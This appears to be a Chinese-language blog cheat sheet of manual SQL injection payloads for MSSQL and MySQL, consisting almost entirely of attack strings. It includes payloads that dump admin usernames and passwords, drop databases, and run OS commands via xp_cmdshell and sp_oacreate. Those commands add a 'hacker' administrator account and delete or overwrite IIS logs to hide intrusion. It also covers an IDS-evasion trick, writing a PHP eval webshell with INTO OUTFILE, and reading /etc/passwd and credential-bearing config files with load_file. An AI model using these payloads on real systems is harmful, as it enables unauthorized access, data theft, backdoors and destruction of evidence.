MSSQL

很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.

手工MSSQL注入常用SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为123….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

SQL Server

判断是否可注射:

1
2
3
4
5
6
7
8
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value' and 1=1
http://www.exehack.net/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2

确定数据库类型:

1
2
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
查询当前用户数据信息:

article.asp?id=6 having 1=1
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1
article.asp?id=6 group by admin.username,admin.password having 1=1
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password='oooooo' where username='xxx'
增添数据库中的数据:
;insert into admin values (xxx,oooooo)–
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell 'dir c:\'
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
删除扩展存储过程:;exec sp_dropextendedproc 'xp_cmdshell'
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member('db_owner'))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
替换日志记录:
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell 'dir /s d:/index.asp'
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
'system\currentcontrolset\services\w3svc\parameters\virtual roots\'
'/'
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell 'dir c:\'
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;–
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree 'c:\'
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';–
删除表dirs:
;drop table dirs;–
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
删除表temp:
;delete from temp;–
创建表dirs:
;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs 'c:\';–
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;–
创建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell 'dir c:\'
删除表dirs:
;delete from dirs;–
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add'
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
启动SERVER服务:
;exec master..xp_servicecontrol 'start', 'server'
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
开启远程数据库1
; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123′, 'select * from table1′ )
开启远程数据库2
;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

## MYSQL

- and ord(mid(version(),1,1))>51
- 解释1: 确认数据库版本 51是ASCII码3 正确则>4.0 错误则<4.0,当版本大于3.0时才能使用union方法;
- 解释2:ord()是mysql的函数用于获取二进制码;
- 解释3:mid()是mysql的函数用于截位操作;
- 解释4:version()是mysql的函数用于获取当前数据库的版本;
- union select 1,1,1,****1,1

- 解释:联合功能,用于试探当前sql查询结果返回的字段数;
- order by 13

- 解释:排序功能,根据查询结果中的第几个字段数做排序,试探当前sql查询返回的字段数
- union select 1,2,3,4,****11,12,13 from admin

- 解释:返回正确则admin表名存在
- union select 1,version(),3,*** 13 from admin

- 解释:暴数据库版本
- union select 1,username,3,*** 13 from admin

- 解释:暴账号/密码
- union select 1,username,3,*** 13 from admin where id=2

- 解释:暴admin表 第2个用户 主键为ID
- and ord(mid(user(),1,1))=144

- 解释:判断ROOT权限 返回正确存在
- and 1=1 union select 1,2,3,4,5…….n

- 解释:匹配字段
- and 1=2 union select 1,2,3,4,5…..n

- 解释:暴字段位置
- version() database() user()

- 解释:利用内置函数暴数据库信息

- 不用猜解可用字段暴数据库信息(有些网站不适用):

- and 1=2 union all select version()
- and 1=2 union all select database()
- and 1=2 union all select user()

- and 1=2 union all select @@global.version_compile_os from mysql.user

- 解释:获取操作系统信息:

- and ord(mid(user(),1,1))=114

- 解释:获取数据库权限,若返回正常说明为root权限

- and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

- 解释:暴库 (mysql>5.0)Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

- and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)

- 解释:猜表

- and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

- 解释:猜字段

- and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

- 解释:暴密码

- Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

- 解释:高级用法(一个可用字段显示两个数据内容)


- 直接写马(Root权限)
  - 条件1:知道站点物理路径
  - 条件2:有足够大的权限(可以用select …. from mysql.user测试)
  - 条件3:magic_quotes_gpc()=OFF select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'
-  load_file() 常用路径:
  - replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  - replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
    - 解释:上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  - load_file(char(47))
    - 解释:可以列出FreeBSD,Sunos系统根目录
  - /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf
    - 解释:查看linux APACHE虚拟主机配置文件
  - c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf
    - 解释:查看WINDOWS系统apache文件
  - c:/Resin-3.0.14/conf/resin.conf
    - 解释:查看jsp开发的网站 resin文件配置信息
  - c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
    - 解释:查看linux系统配置的JSP虚拟主机
  - d:\APACHE\Apache2\conf\httpd.conf
  - C:\Program Files\mysql\my.ini
  - ../themes/darkblue_orange/layout.inc.php phpmyadmin
    - 解释:爆路径
  -  c:\windows\system32\inetsrv\MetaBase.xml
    - 解释:查看IIS的虚拟主机配置文件
  - /usr/local/resin-3.0.22/conf/resin.conf
    - 解释:针对3.0.22的RESIN配置文件查看
  -  /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  - /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  -  /etc/sysconfig/iptables
    - 解释:本看防火墙策略
  - usr/local/app/php5 b/php.ini
    - 解释:PHP 的相当设置
  - /etc/my.cnf
    - 解释:MYSQL的配置文件
  -  /etc/redhat-release
    - 解释:红帽子的系统版本
  - C:\mysql\data\mysql\user.MYD
    - 解释:存在MYSQL系统中的用户密码
  - /etc/sysconfig/network-scripts/ifcfg-eth0
    - 解释:查看IP
  - /usr/local/app/php5 b/php.ini
    - 解释:PHP相关设置
  - /usr/local/app/apache2/conf/extra tpd-vhosts.conf
    - 解释:虚拟网站设置
  - C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  - c:\windows\my.ini
  - c:\boot.ini
  - 网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
  - 注:Char(60)表示 <,Char(32)表示 空格
- 手工注射时出现的问题:
  - 当注射后页面显示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
    - 如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,这是由于前后编码不一致造成的,解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以继续注射了。

```ini

> XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way